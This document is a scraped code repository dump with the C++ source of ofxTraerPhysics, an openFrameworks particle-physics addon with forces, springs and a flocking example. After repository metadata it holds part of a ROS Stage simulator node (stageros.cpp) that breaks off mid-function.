= false; mNumVerticalBands = 0; mNumHorizontalBands = 0; mNumArms = 0; mNumRings = 0; mSpeed = 2; } ofxFormConstantForce::ofxFormConstantForce(float fx, float fy, float fz) : ofxForce(fx, fy, fz) { } ofxFormConstantForce::~ofxFormConstantForce() { } void ofxFormConstantForce::apply(std::shared_ptr<ofxParticle> p) { if (isOn()) { ofVec3f position = p->getPosition(); ofVec3f radialPosition = ofVec3f(position[0] * position[0] + position[1] * position[1], atan2(position[0], position[1]), 0); ofVec3f force = ofVec3f(0, 0, 0); if (mHorizontalBands) { force += ofVec3f(mScale[0] * cos(mNumHorizontalBands*position[0] + 0.0001*mSpeed*mTime), 0, 0); } if (mVerticalBands) { force += ofVec3f(0, mScale[1] * cos(mNumVerticalBands*position[1] + 0.0001*mSpeed*mTime), 0); } if (mRings) { force += ofVec3f(mScale[0] * position[0] * sin(0.5 * mNumRings * log(radialPosition[0]) + mSpeed*mTime) / radialPosition[0], mScale[1] * position[1] * sin(0.5 * mNumRings * log(radialPosition[0]) + mSpeed*mTime) / radialPosition[0], 0); } if (mArms) { force += ofVec3f(- mScale[0] * position[1] * sin(0.5 * mNumArms * radialPosition[1] + mSpeed*mTime) / radialPosition[0], mScale[1] * position[0] * sin(0.5 * mNumArms * radialPosition[1] + mSpeed*mTime) / radialPosition[0], 0); } p->addForce(force); } } void ofxFormConstantForce::horizontalBandsOn(int numBands) { mHorizontalBands = true; mNumHorizontalBands = numBands; } void ofxFormConstantForce::horizontalBandsOff() { mHorizontalBands = false; } void ofxFormConstantForce::verticalBandsOn(int numBands) { mVerticalBands = true; mNumVerticalBands = numBands; } void ofxFormConstantForce::verticalBandsOff() { mVerticalBands = false; } void ofxFormConstantForce::armsOn(int numArms) { mNumArms = numArms; mArms = true; } void ofxFormConstantForce::armsOff() { mArms = false; } void ofxFormConstantForce::ringsOn(int numRings) { mNumRings = numRings; mRings = true; } void ofxFormConstantForce::ringsOff() { mRings = false; }<file_sep>/src/ofxSpring.cpp #include "ofxSpring.h" using namespace ofxTraerPhysics; std::shared_ptr<ofxSpring> ofxSpring::make(std::shared_ptr<ofxParticle> particleA, std::shared_ptr<ofxParticle> particleB, float spring_constant, float dampening, float length) { std::shared_ptr<ofxSpring> spring(new ofxSpring(particleA, particleB, spring_constant, dampening, length)); return spring; } std::shared_ptr<ofxParticle> ofxSpring::getEnd() { return mParticle; } std::shared_ptr<ofxParticle> ofxSpring::getOtherEnd() { return mOtherParticle; } float ofxSpring::getCurrentLength() { return mParticle->getPosition().distance(mOtherParticle->getPosition()); } float ofxSpring::getRestLength() { return mRestLength; } float ofxSpring::getSpringConstant() { return mSpringConstant; } float ofxSpring::getDampeningConstant() { return mDampening; } void ofxSpring::setLength(float length) { mRestLength = length; } void ofxSpring::setSpringConstant(float k) { mSpringConstant = k; } void ofxSpring::setDampening(float d) { mDampening = d; } void ofxSpring::setParticle(std::shared_ptr<ofxParticle> particle) { mParticle = particle; } void ofxSpring::setOtherParticle(std::shared_ptr<ofxParticle> particle) { mOtherParticle = particle; } void ofxSpring::apply() { if (isOn() && (mParticle->isFree() || mOtherParticle->isFree())) { ofVec3f direction = mParticle->getPosition() - mOtherParticle->getPosition(); direction.normalize(); float distance = mParticle->getPosition().distance(mOtherParticle->getPosition()); float springMagnitude = -mSpringConstant*(distance - mRestLength); ofVec3f springForce = direction * springMagnitude; ofVec3f diffVelocity = mParticle->getVelocity() - mOtherParticle->getVelocity(); diffVelocity.normalize(); float dampeningMagnitude = -mDampening*diffVelocity.dot(direction); ofVec3f dampeningForce = dampeningMagnitude*diffVelocity; ofVec3f totalForce = springForce + dampeningForce; mParticle->addForce(totalForce); mOtherParticle->addForce(-totalForce); } } ofxSpring::ofxSpring(std::shared_ptr<ofxParticle> particleA, std::shared_ptr<ofxParticle> particleB, float spring_constant, float dampening, float length) : ofxForce(1.0) { mParticle = particleA; mOtherParticle = particleB; mRestLength = length; mSpringConstant = spring_constant; mDampening = dampening; }<file_sep>/src/ofxAttractorForce.h #pragma once #include "ofxForce.h" namespace ofxTraerPhysics { class ofxAttractorForce : public ofxForce { public: static std::shared_ptr<ofxAttractorForce> make(float f); static std::shared_ptr<ofxAttractorForce> make(float fx, float fy, float fz); ~ofxAttractorForce(); void apply(std::shared_ptr<ofxParticle> p); ofVec3f getPosition(); void setPosition(float x, float y, float z); protected: ofxAttractorForce(float f); ofxAttractorForce(float fx, float fy, float fz); ofVec3f mPosition; }; }<file_sep>/src/ofxRotationalForce.h #include "ofxForce.h" namespace ofxTraerPhysics { class ofxRotationalForce : public ofxForce { public: ofxRotationalForce(float f); ~ofxRotationalForce(); void apply(std::shared_ptr<ofxParticle> p); ofVec3f getPosition(); void setPosition(float x, float y, float z); void setMinDistance(float distance); void setMaxDistance(float distance); protected: ofVec3f mPosition; float mMinDistance; float mMaxDistance; float mVeryFarAway; }; }<file_sep>/example-flocking/src/ofApp.cpp #include "ofApp.h" #include "ofxAlignmentForce.h" #include "ofxCohesiveForce.h" #include "ofxSeparateForce.h" //-------------------------------------------------------------- void ofApp::setup(){ ofSetWindowTitle("ofxTraerPhysics -- Flocking Example"); mParticleSystem = ofxTraerPhysics::ofxParticleSystem::make(); mParticleSystem->setBoundaryConditions(ofxTraerPhysics::ofxParticleSystem::BoundaryType::PERIODIC, 0, ofGetWidth(), 0, ofGetHeight()); std::shared_ptr<ofxTraerPhysics::ofxAlignmentForce> alignmentForce = ofxTraerPhysics::ofxAlignmentForce::make(mParticleSystem, 3.0); mParticleSystem->addForce(alignmentForce); std::shared_ptr<ofxTraerPhysics::ofxCohesiveForce> cohesiveForce = ofxTraerPhysics::ofxCohesiveForce::make(mParticleSystem, 5.0); mParticleSystem->addForce(cohesiveForce); std::shared_ptr<ofxTraerPhysics::ofxSeparateForce> separateForce = ofxTraerPhysics::ofxSeparateForce::make(mParticleSystem, 10.0); mParticleSystem->addForce(separateForce); mSeekerForce = ofxTraerPhysics::ofxSeekerForce::make(20.0); mParticleSystem->addForce(mSeekerForce); for (int i = 0; i < 100; i++) { mParticleSystem->addParticle(1.0, ofRandom(ofGetWidth()), ofRandom(ofGetHeight())); } } //-------------------------------------------------------------- void ofApp::update(){ mParticleSystem->tick(0.25); } //-------------------------------------------------------------- void ofApp::draw(){ ofBackground(0); ofFill(); ofSetColor(128, 255, 0); mSeekerForce->setTarget(ofVec3f(ofGetMouseX(), ofGetMouseY(), 0.0)); ofCircle(mSeekerForce->getTarget()[0], mSeekerForce->getTarget()[1], 10); ofSetColor(0, 255, 255); for (auto particle : mParticleSystem->getParticles()) { ofCircle(particle->getPosition()[0], particle->getPosition()[1], 2); } } //-------------------------------------------------------------- void ofApp::keyPressed(int key){ } //-------------------------------------------------------------- void ofApp::keyReleased(int key){ } //-------------------------------------------------------------- void ofApp::mouseMoved(int x, int y ){ } //-------------------------------------------------------------- void ofApp::mouseDragged(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mousePressed(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mouseReleased(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mouseEntered(int x, int y){ } //-------------------------------------------------------------- void ofApp::mouseExited(int x, int y){ } //-------------------------------------------------------------- void ofApp::windowResized(int w, int h){ } //-------------------------------------------------------------- void ofApp::gotMessage(ofMessage msg){ } //-------------------------------------------------------------- void ofApp::dragEvent(ofDragInfo dragInfo){ } <file_sep>/src/ofxIntegrator.h #pragma once #include <memory> namespace ofxTraerPhysics { class ofxParticleSystem; class ofxIntegrator { public: ofxIntegrator(ofxParticleSystem* particleSystem) { mParticleSystem = particleSystem; }; virtual ~ofxIntegrator() {}; virtual void tick(float dt) {}; protected: ofxParticleSystem* mParticleSystem; }; }<file_sep>/src/ofxPerlinForce.cpp #include "ofxPerlinForce.h" using namespace ofxTraerPhysics; std::shared_ptr<ofxPerlinForce> ofxPerlinForce::make(float f) { std::shared_ptr<ofxPerlinForce> force(new ofxPerlinForce(f)); return force; } std::shared_ptr<ofxPerlinForce> ofxPerlinForce::make(float fx, float fy, float fz) { std::shared_ptr<ofxPerlinForce> force(new ofxPerlinForce(fx, fy, fz)); return force; } ofxPerlinForce::~ofxPerlinForce() { } void ofxPerlinForce::apply(std::shared_ptr<ofxParticle> p) { if (isOn()) { ofVec3f position = p->getPosition(); ofVec3f force; float vec[3]; vec[0] = 0.001*position[0]; vec[1] = 0.001*position[1]; vec[2] = 0.1*mTime; float noiseValue = mNoise->perlin_noise_3D(vec); force[0] = mScale[0]*0.1*cos(noiseValue * 2.0 * 3.14159); force[1] = mScale[1]*0.1*sin(noiseValue * 2.0 * 3.14159); force[2] = 0; p->addForce(force); } } ofxPerlinForce::ofxPerlinForce(float f) : ofxForce(f) { mNoise = new Perlin(3, 2, 2, 0); } ofxPerlinForce::ofxPerlinForce(float fx, float fy, float fz) : ofxForce(fx, fy, fz) { }<file_sep>/src/ofxParticle.cpp #include "ofxParticle.h" using namespace ofxTraerPhysics; std::shared_ptr<ofxParticle> ofxParticle::make(float mass = 1) { std::shared_ptr<ofxParticle> particle(new ofxParticle(mass)); return particle; } std::shared_ptr<ofxParticle> ofxParticle::make(float mass, float x, float y, float z) { std::shared_ptr<ofxParticle> particle(new ofxParticle(mass)); particle->setPosition(x, y, z); return particle; } std::shared_ptr<ofxParticle> ofxParticle::make(float mass, ofVec3f position) { std::shared_ptr<ofxParticle> particle(new ofxParticle(mass)); particle->setPosition(position); return particle; } void ofxParticle::setMass(float mass) { mMass = mass; } void ofxParticle::makeFixed() { mFree = false; } void ofxParticle::makeFree() { mFree = true; } ofVec3f ofxParticle::getPosition() { return mPosition; } ofVec3f ofxParticle::getVelocity() { return mVelocity; } ofVec3f ofxParticle::getForces() { return mForces; } void ofxParticle::setPosition(float x, float y, float z) { mPosition = ofVec3f(x, y, z); } void ofxParticle::setPosition(ofVec3f position) { mPosition.set(position); } void ofxParticle::setVelocity(ofVec3f velocity) { mVelocity.set(velocity); } void ofxParticle::addForce(ofVec3f force) { mForces += force; } float ofxParticle::getMass() { return mMass; } int ofxParticle::getAge() { return mAge; } void ofxParticle::setAge(int age) { mAge = age; } bool ofxParticle::isFree() { return mFree; } bool ofxParticle::isAlive() { return mAlive; } void ofxParticle::reset() { mPosition = ofVec3f(0, 0, 0); mVelocity = ofVec3f(0, 0, 0); mForces = ofVec3f(0, 0, 0); mMass = 1; mAge = 0; mAlive = true; mFree = true; } void ofxParticle::clearForces() { mForces = ofVec3f(0, 0, 0); } void ofxParticle::update(double t) { if (mAge > 0) { mAge--; } } ofxParticle::ofxParticle(float mass = 1) { mPosition = ofVec3f(0, 0, 0); mVelocity = ofVec3f(0, 0, 0); mForces = ofVec3f(0, 0, 0); mMass = mass; mAge = -1; mAlive = true; mFree = true; }<file_sep>/src/ofxSeparateForce.h #pragma once #include "ofxForce.h" #include "ofxParticleSystem.h" namespace ofxTraerPhysics { class ofxSeparateForce : public ofxForce { public: static std::shared_ptr<ofxSeparateForce> make(std::shared_ptr<ofxParticleSystem> particleSystem, float f); static std::shared_ptr<ofxSeparateForce> make(std::shared_ptr<ofxParticleSystem> particleSystem, float fx, float fy, float fz); ~ofxSeparateForce(); void setDesiredSeparation(float separation); float getDesiredSeparation(); void apply(std::shared_ptr<ofxParticle> p); protected: ofxSeparateForce(std::shared_ptr<ofxParticleSystem> particleSystem, float f); ofxSeparateForce(std::shared_ptr<ofxParticleSystem> particleSystem, float fx, float fy, float fz); std::shared_ptr<ofxParticleSystem> mParticleSystem; float mDesiredSeparation; }; } <file_sep>/src/ofxModifiedEulerIntegrator.h #pragma once #include "ofxIntegrator.h" #include "ofxParticleSystem.h" namespace ofxTraerPhysics { class ofxModifiedEulerIntegrator : public ofxIntegrator { public: ofxModifiedEulerIntegrator(ofxParticleSystem* particleSystem); ~ofxModifiedEulerIntegrator(); void tick(float dt); protected: }; }<file_sep>/src/ofxSeekerForce.h #pragma once #include "ofxForce.h" #include "ofxParticleSystem.h" namespace ofxTraerPhysics { class ofxSeekerForce : public ofxForce { public: static std::shared_ptr<ofxSeekerForce> make(float f); static std::shared_ptr<ofxSeekerForce> make(float fx, float fy, float fz); ~ofxSeekerForce(); void setTarget(ofVec3f target); ofVec3f getTarget(); void apply(std::shared_ptr<ofxParticle> p); protected: ofxSeekerForce(float f); ofxSeekerForce(float fx, float fy, float fz); ofVec3f mTarget; }; } <file_sep>/README.md # ofxTraerPhysics A C++ port of the Processing traer physics library, designed specifically for openframeworks. This addon focuses on ease of use over performance; you'll find that it's not nearly as fast as a lighter weight system might be. However, the hope is that it will serve as a useful addon for beginners or for people who just need to draft ideas quickly. ## Requirements None for openFrameworks! This addon has been tested with openFrameworks v0.9.1 If you want to port this library to any other flavor of C++, it's easily extensible -- the only reliance on openframeworks in the use of the `ofVec3f` class for vector arithmetic. ## Usage This library uses the `ofxTraerPhysics` namespace to prevent namespace collisions with common class names like `ofxParticle` and `ofxForce`. Hopefully this allows you to easily use it with other libraries! If you get tired of typing out `ofxTraerPhysics::` before every class, feel free to use `using namespace ofxTraerPhysics` in your *implementation* files. The entry point is `ofxParticleSystem`; create an instance of it via `ofxParticleSystem::make()` to get started. ## Examples ## Contributing This project uses the [Git Flow](http://nvie.com/posts/a-successful-git-branching-model/) paradigm. Before contributing, please make your own feature branch with your changes. ## More Information <NAME>'s Traer Physics library that inspired this addon can be found [here](http://murderandcreate.com/physics). <file_sep>/src/ofxParticleSystem.h #pragma once #include <memory> #include "ofxParticle.h" #include "ofxForce.h" #include "ofxSpring.h" #include "ofxScalarForce.h" #include "ofxPropForce.h" #include "ofxIntegrator.h" namespace ofxTraerPhysics { class ofxParticleSystem { public: enum Integrator { EULER, MODIFIED_EULER, RUNGE_KUTTA }; enum BoundaryType { NONE, BOX, PERIODIC }; static std::shared_ptr<ofxParticleSystem> make(); ~ofxParticleSystem(); void setIntegrator(Integrator method); void setBoundaryConditions(BoundaryType boundary, float minX, float maxX, float minY, float maxY); void setGravity(float g); void setGravity(float gx, float gy, float gz); void setDrag(float d); void setDrag(float dx, float dy, float dz); std::shared_ptr<ofxParticle> addParticle(float m); std::shared_ptr<ofxParticle> addParticle(float m, float x, float y); std::shared_ptr<ofxParticle> addParticle(float m, float x, float y, float z); std::shared_ptr<ofxParticle> getParticle(int i); std::vector<std::shared_ptr<ofxParticle> > getParticles(); int getNumberOfParticles(); void applyForces(); void clearForces(); void addForce(std::shared_ptr<ofxForce> f); int getNumberOfForces(); void addSpring(std::shared_ptr<ofxSpring> s); int getNumberOfSprings(); void clear(); void tick(); void tick(double dt); protected: ofxParticleSystem(); Integrator mIntegrationMethod; BoundaryType mBoundaryType; static const float DEFAULT_GRAVITY; static const float DEFAULT_DRAG; float mMinX; float mMaxX; float mMinY; float mMaxY; std::shared_ptr<ofxIntegrator> mIntegrator; std::shared_ptr<ofxScalarForce> mGravityForce; std::shared_ptr<ofxPropForce> mDragForce; std::vector<std::shared_ptr<ofxParticle> > mParticles; std::vector<std::shared_ptr<ofxForce> > mForces; std::vector<std::shared_ptr<ofxSpring> > mSprings; }; }<file_sep>/src/ofxPerlinForce.h #include "ofxForce.h" #include "Perlin.h" namespace ofxTraerPhysics { class ofxPerlinForce : public ofxForce { public: static std::shared_ptr<ofxPerlinForce> make(float f); static std::shared_ptr<ofxPerlinForce> make(float fx, float fy, float fz); ~ofxPerlinForce(); void apply(std::shared_ptr<ofxParticle> p); protected: ofxPerlinForce(float f); ofxPerlinForce(float fx, float fy, float fz); Perlin* mNoise; }; }
92feae510d4bbf9f9620ff7d2e43e8fb387c5861
[ "Markdown", "C++" ]
40
C++
morphogencc/ofxParticleSystem
78e954ceeba1bc77d1bb4d1b59a28666a270aa89
aa02c985eb361321634c27f5a5bf76acf75b3794
refs/heads/master
<file_sep>/* Adaptar el código Script.js con algún patrón de diseño. Se ha adaptado hacia el patrón de diseño Decorator */ (function () { 'use strict'; var sale = {}; init(); var productsCatalog = [ new Product('111', 'Milk', 1.99), new Product('222', 'Beer', 2.99), new Product('333', 'Coke', 3.99), ]; function Product(sku, name, price) extends productsCatalog { this.sku = sku; this.name = name; this.price = price; } function Item(product, quantity) extends productsCatalog { this.product = product; this.quantity = quantity; } function Sale() extends productsCatalog { this.items = []; this.totals = 0; this.addProduct = function (product) { sale.items.push(product); this.updateTotals(); } this.updateTotals = function () { this.totals = 0; for (var i = 0; i < this.items.length; i++) { this.totals += this.items[i].price; } } } function findProductBySKU(sku) extends Product { var product = false; for (var i = 0; i < productsCatalog.length; i++) { if (productsCatalog[i].sku == sku) { product = productsCatalog[i]; } } return product; } function init() { var view = {}; _view.captureButton = document.getElementById('capture'); _view.skuInput = document.getElementById('sku'); _view.itemsList = document.getElementById('items-list'); _view.totals = document.getElementById('totals'); _sale = new Sale(); view.captureButton.addEventListener('click', function(event)) { var product = findProductBySKU(view.skuInput.value); if (product) { //add product to sale model: sale.addProduct(product); view.updateItemsListView(sale); //uptade totals in view: _view.totals.innerText = sale.totals.toFixed(2); } else { alert('Producto no encontrado'); } } }); _view.updateItemsListView = function (sale) { //empty items list in view: _view.itemsList.innerHTML = ''; //reverse array; var reversedArr = sale.items; reversedArr.reverse(); //update Items from current sale in view: for (var i = 0; i < reversedArr.length; i++) { var element = document.createElement('h5'); _element.innerHTML = sale.items[i].name; view.itemsList.appendChild(element); } } } })();
735b0c9561d0eedcc553b928a27c6aaac73abb79
[ "JavaScript" ]
1
JavaScript
BaruchSias/Decorator-Javascript
8c26615db2f179a566e13f672492005b165860b9
dbf7c2d69b7a82fcf4598e8855a13df23f26ef78
refs/heads/master
<file_sep>/* * stageros * Copyright (c) 2008, <NAME>, Inc. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ /** @mainpage @htmlinclude manifest.html **/ #include <stage_ros/stageros.h> // since stageros is single-threaded, this is OK. revisit if that changes! const char * StageNode::mapName(const char *name, size_t robotID, Stg::Model *mod) const { //ROS_INFO("Robot %lu: Device %s", robotID, name); bool umn = this->use_model_names; if ((positionmodels.size() > 1) || umn) { static char buf[100]; std::size_t found = std::string(((Stg::Ancestor *) mod)->Token()).find(":"); if ((found == std::string::npos) && umn) { snprintf(buf, sizeof(buf), "/%s/%s", ((Stg::Ancestor *) mod)->Token(), name); } else { snprintf(buf, sizeof(buf), "/robot_%u/%s", (unsigned int) robotID, name); } return buf; } else return name; } const char * StageNode::mapName(const char *name, size_t robotID, size_t deviceID, Stg::Model *mod) const { //ROS_INFO("Robot %lu: Device %s:%lu", robotID, name, deviceID); bool umn = this->use_model_names; if ((positionmodels.size() > 1) || umn) { static char buf[100]; std::size_t found = std::string(((Stg::Ancestor *) mod)->Token()).find(":"); if ((found == std::string::npos) && umn) { snprintf(buf, sizeof(buf), "/%s/%s_%u", ((Stg::Ancestor *) mod)->Token(), name, (unsigned int) deviceID); } else { snprintf(buf, sizeof(buf), "/robot_%u/%s_%u", (unsigned int) robotID, name, (unsigned int) deviceID); } return buf; } else { static char buf[100]; snprintf(buf, sizeof(buf), "/%s_%u", name, (unsigned int) deviceID); return buf; } } void StageNode::ghfunc(Stg::Model *mod, StageNode *node) { if (dynamic_cast<Stg::ModelRanger *>(mod)) node->lasermodels.push_back(dynamic_cast<Stg::ModelRanger *>(mod)); if (dynamic_cast<Stg::ModelPosition *>(mod)) { Stg::ModelPosition *p = dynamic_cast<Stg::ModelPosition *>(mod); // remember initial poses node->positionmodels.push_back(p); node->initial_poses.push_back(p->GetGlobalPose()); } if (dynamic_cast<Stg::ModelCamera *>(mod)) node->cameramodels.push_back(dynamic_cast<Stg::ModelCamera *>(mod)); if (dynamic_cast<Stg::ModelFiducial *>(mod)) node->fiducialmodels.push_back(dynamic_cast<Stg::ModelFiducial *>(mod)); } std::string StageNode::addModel(Stg::Model *model) { this->world->AddModel(model); this->othermodels.push_back(model); return model->TokenStr(); } void StageNode::removeModel(const std::string& name) { Stg::Pose pose; pose.x = 0.0; pose.y = 0.0; pose.a = -NAN; Stg::Size size; size.x = 0.0; size.y = 0.0; size.z = 0.0; setModelPose(name, pose); setModelSize(name, size); } Stg::Model* StageNode::getModel(const std::string& name) { for (size_t r = 0; r < this->othermodels.size(); r++) { if (othermodels[r]->TokenStr().compare(name) == 0) { return othermodels[r]; } } ROS_ERROR("Trying to get model %s but it does not exist", name.c_str()); return NULL; } Stg::Pose StageNode::getModelPose(const std::string& name) { Stg::Model* model = getModel(name); return model->GetGeom().pose; } Stg::Pose StageNode::setModelPose(const std::string& name, Stg::Pose pose) { Stg::Model* model = getModel(name); Stg::Geom geom = model->GetGeom(); geom.pose = pose; model->SetGeom(geom); } Stg::Size StageNode::getModelSize(const std::string& name) { Stg::Model* model = getModel(name); return model->GetGeom().size; } Stg::Size StageNode::setModelSize(const std::string& name, Stg::Size size) { Stg::Model* model = getModel(name); Stg::Geom geom = model->GetGeom(); geom.size = size; model->SetGeom(geom); } bool StageNode::cb_reset_srv(std_srvs::Empty::Request &request, std_srvs::Empty::Response &response) { ROS_INFO("Resetting stage!"); for (size_t r = 0; r < this->positionmodels.size(); r++) { this->positionmodels[r]->SetPose(this->initial_poses[r]); this->positionmodels[r]->SetStall(false); } return true; } void StageNode::cmdvelReceived(int idx, const boost::shared_ptr<geometry_msgs::Twist const> &msg) { boost::mutex::scoped_lock lock(msg_lock); this->positionmodels[idx]->SetSpeed(msg->linear.x, msg->linear.y, msg->angular.z); this->base_last_cmd = this->sim_time; } void StageNode::wheelcmdvelCB(int idx, const boost::shared_ptr<stage_ros::WheelCmdVel const>& msg) { boost::mutex::scoped_lock lock(msg_lock); double vel_left = msg->left * robotmodels_[idx]->wheele_radius; double vel_right = msg->right * robotmodels_[idx]->wheele_radius; double lin_x = (vel_left + vel_right) / 2.0; double lin_y = 0.0; double ang_z = (vel_right - vel_left) / robotmodels_[idx]->wheele_base; this->positionmodels[idx]->SetSpeed(lin_x, lin_y, ang_z); this->base_last_cmd = this->sim_time; } bool StageNode::setRobotPoseCB(int idx, stage_ros::SetRobotPose::Request &request, stage_ros::SetRobotPose::Response &response) { Stg::Pose pose(request.x, request.y, 0.0, request.yaw); this->positionmodels[idx]->SetPose(pose); return true; } StageNode::StageNode(int argc, char **argv, bool gui, const char *fname, bool use_model_names) { this->use_model_names = use_model_names; this->sim_time.fromSec(0.0); this->base_last_cmd.fromSec(0.0); double t; ros::NodeHandle localn("~"); if (!localn.getParam("base_watchdog_timeout", t)) t = 0.2; this->base_watchdog_timeout.fromSec(t); if (!localn.getParam("is_depth_canonical", isDepthCanonical)) isDepthCanonical = true; // We'll check the existence of the world file, because libstage doesn't // expose its failure to open it. Could go further with checks (e.g., is // it readable by this user). struct stat s; if (stat(fname, &s) != 0) { ROS_FATAL("The world file %s does not exist.", fname); ROS_BREAK(); } // initialize libstage Stg::Init(&argc, &argv); if (gui) this->world = new Stg::WorldGui(600, 400, "Stage (ROS)"); else this->world = new Stg::World(); // Apparently an Update is needed before the Load to avoid crashes on // startup on some systems. // As of Stage 4.1.1, this update call causes a hang on start. //this->UpdateWorld(); this->world->Load(fname); // We add our callback here, after the Update, so avoid our callback // being invoked before we're ready. this->world->AddUpdateCallback((Stg::world_callback_t) s_update, this); this->world->ForEachDescendant((Stg::model_callback_t) ghfunc, this); object_server_ = new stage_ros::ObjectServer(localn, this); } // Subscribe to models of interest. Currently, we find and subscribe // to the first 'laser' model and the first 'position' model. Returns // 0 on success (both models subscribed), -1 otherwise. // // Eventually, we should provide a general way to map stage models onto ROS // topics, similar to Player .cfg files. int StageNode::SubscribeModels() { n_.setParam("/use_sim_time", true); for (size_t r = 0; r < this->positionmodels.size(); r++) { StageRobot *new_robot = new StageRobot; new_robot->positionmodel = this->positionmodels[r]; new_robot->positionmodel->Subscribe(); n_.param<double>("/wheele_radius", new_robot->wheele_radius, 0.075); n_.param<double>("/wheel_base", new_robot->wheele_base, 0.3); for (size_t s = 0; s < this->lasermodels.size(); s++) { if (this->lasermodels[s] and this->lasermodels[s]->Parent() == new_robot->positionmodel) { new_robot->lasermodels.push_back(this->lasermodels[s]); this->lasermodels[s]->Subscribe(); } } for (size_t s = 0; s < this->cameramodels.size(); s++) { if (this->cameramodels[s] and this->cameramodels[s]->Parent() == new_robot->positionmodel) { new_robot->cameramodels.push_back(this->cameramodels[s]); this->cameramodels[s]->Subscribe(); } } ROS_INFO("Found %lu laser devices and %lu cameras in robot %lu", new_robot->lasermodels.size(), new_robot->cameramodels.size(), r); new_robot->odom_pub = n_.advertise<nav_msgs::Odometry>(mapName(ODOM, r, static_cast<Stg::Model*>(new_robot->positionmodel)), 10); new_robot->ground_truth_pub = n_.advertise<nav_msgs::Odometry>(mapName(BASE_POSE_GROUND_TRUTH, r, static_cast<Stg::Model*>(new_robot->positionmodel)), 10); new_robot->cmdvel_sub = n_.subscribe<geometry_msgs::Twist>(mapName(CMD_VEL, r, static_cast<Stg::Model*>(new_robot->positionmodel)), 10, boost::bind(&StageNode::cmdvelReceived, this, r, _1)); new_robot->feducual_publisher_ = n_.advertise<stage_ros::fiducials>(mapName(FIDUCIALS, r, static_cast<Stg::Model*>(new_robot->positionmodel)), 10); new_robot->wheelcmdvel_subs_ = n_.subscribe<stage_ros::WheelCmdVel>(mapName(WHEEL_CMD_VEL, r, static_cast<Stg::Model*>(new_robot->positionmodel)), 10, boost::bind(&StageNode::wheelcmdvelCB, this, r, _1)); new_robot->set_robot_pose_srvs_ = n_.advertiseService<stage_ros::SetRobotPose::Request, stage_ros::SetRobotPose::Response>(mapName(SET_POSE, r, static_cast<Stg::Model*>(new_robot->positionmodel)), boost::bind(&StageNode::setRobotPoseCB, this, r, _1, _2)); for (size_t s = 0; s < new_robot->lasermodels.size(); ++s) { new_robot->odom_pub = n_.advertise<nav_msgs::Odometry>( mapName(ODOM, r, static_cast<Stg::Model *>(new_robot->positionmodel)), 10); new_robot->ground_truth_pub = n_.advertise<nav_msgs::Odometry>( mapName(BASE_POSE_GROUND_TRUTH, r, static_cast<Stg::Model *>(new_robot->positionmodel)), 10); new_robot->cmdvel_sub = n_.subscribe<geometry_msgs::Twist>( mapName(CMD_VEL, r, static_cast<Stg::Model *>(new_robot->positionmodel)), 10, boost::bind(&StageNode::cmdvelReceived, this, r, _1)); new_robot->feducual_publisher_ = n_.advertise<stage_ros::fiducials>( mapName(FIDUCIALS, r, static_cast<Stg::Model *>(new_robot->positionmodel)), 10); if (new_robot->lasermodels.size() == 1) new_robot->laser_pubs.push_back(n_.advertise<sensor_msgs::LaserScan>( mapName(BASE_SCAN, r, static_cast<Stg::Model *>(new_robot->positionmodel)), 10)); else new_robot->laser_pubs.push_back(n_.advertise<sensor_msgs::LaserScan>( mapName(BASE_SCAN, r, s, static_cast<Stg::Model *>(new_robot->positionmodel)), 10)); } for (size_t s = 0; s < new_robot->cameramodels.size(); ++s) { if (new_robot->cameramodels.size() == 1) { new_robot->image_pubs.push_back(n_.advertise<sensor_msgs::Image>( mapName(IMAGE, r, static_cast<Stg::Model *>(new_robot->positionmodel)), 10)); new_robot->depth_pubs.push_back(n_.advertise<sensor_msgs::Image>( mapName(DEPTH, r, static_cast<Stg::Model *>(new_robot->positionmodel)), 10)); new_robot->camera_pubs.push_back(n_.advertise<sensor_msgs::CameraInfo>( mapName(CAMERA_INFO, r, static_cast<Stg::Model *>(new_robot->positionmodel)), 10)); } else { new_robot->image_pubs.push_back(n_.advertise<sensor_msgs::Image>( mapName(IMAGE, r, s, static_cast<Stg::Model *>(new_robot->positionmodel)), 10)); new_robot->depth_pubs.push_back(n_.advertise<sensor_msgs::Image>( mapName(DEPTH, r, s, static_cast<Stg::Model *>(new_robot->positionmodel)), 10)); new_robot->camera_pubs.push_back(n_.advertise<sensor_msgs::CameraInfo>( mapName(CAMERA_INFO, r, s, static_cast<Stg::Model *>(new_robot->positionmodel)), 10)); } } this->robotmodels_.push_back(new_robot); } clock_pub_ = n_.advertise<rosgraph_msgs::Clock>("/clock", 10); // advertising reset service reset_srv_ = n_.advertiseService("reset_positions", &StageNode::cb_reset_srv, this); return (0); } StageNode::~StageNode() { for (std::vector<StageRobot const *>::iterator r = this->robotmodels_.begin(); r != this->robotmodels_.end(); ++r) delete *r; } bool StageNode::UpdateWorld() { return this->world->UpdateAll(); } void StageNode::WorldCallback() { boost::mutex::scoped_lock lock(msg_lock); this->sim_time.fromSec(world->SimTimeNow() / 1e6); // We're not allowed to publish clock==0, because it used as a special // value in parts of ROS, #4027. if (this->sim_time.sec == 0 && this->sim_time.nsec == 0) { ROS_DEBUG("Skipping initial simulation step, to avoid publishing clock==0"); return; } // TODO make this only affect one robot if necessary if ((this->base_watchdog_timeout.toSec() > 0.0) && ((this->sim_time - this->base_last_cmd) >= this->base_watchdog_timeout)) { for (size_t r = 0; r < this->positionmodels.size(); r++) this->positionmodels[r]->SetSpeed(0.0, 0.0, 0.0); } //loop on the robot models for (size_t r = 0; r < this->robotmodels_.size(); ++r) { StageRobot const *robotmodel = this->robotmodels_[r]; if (this->fiducialmodels.size() > r) { std::vector<Stg::ModelFiducial::Fiducial> &fiducials = this->fiducialmodels[r]->GetFiducials(); stage_ros::fiducials fiducial_msg_to_send; fiducial_msg_to_send.observations.resize(fiducials.size()); for (unsigned int i = 0; i < fiducials.size(); i++) { fiducial_msg_to_send.observations[i].id = fiducials[i].id; fiducial_msg_to_send.observations[i].bearing = fiducials[i].bearing; 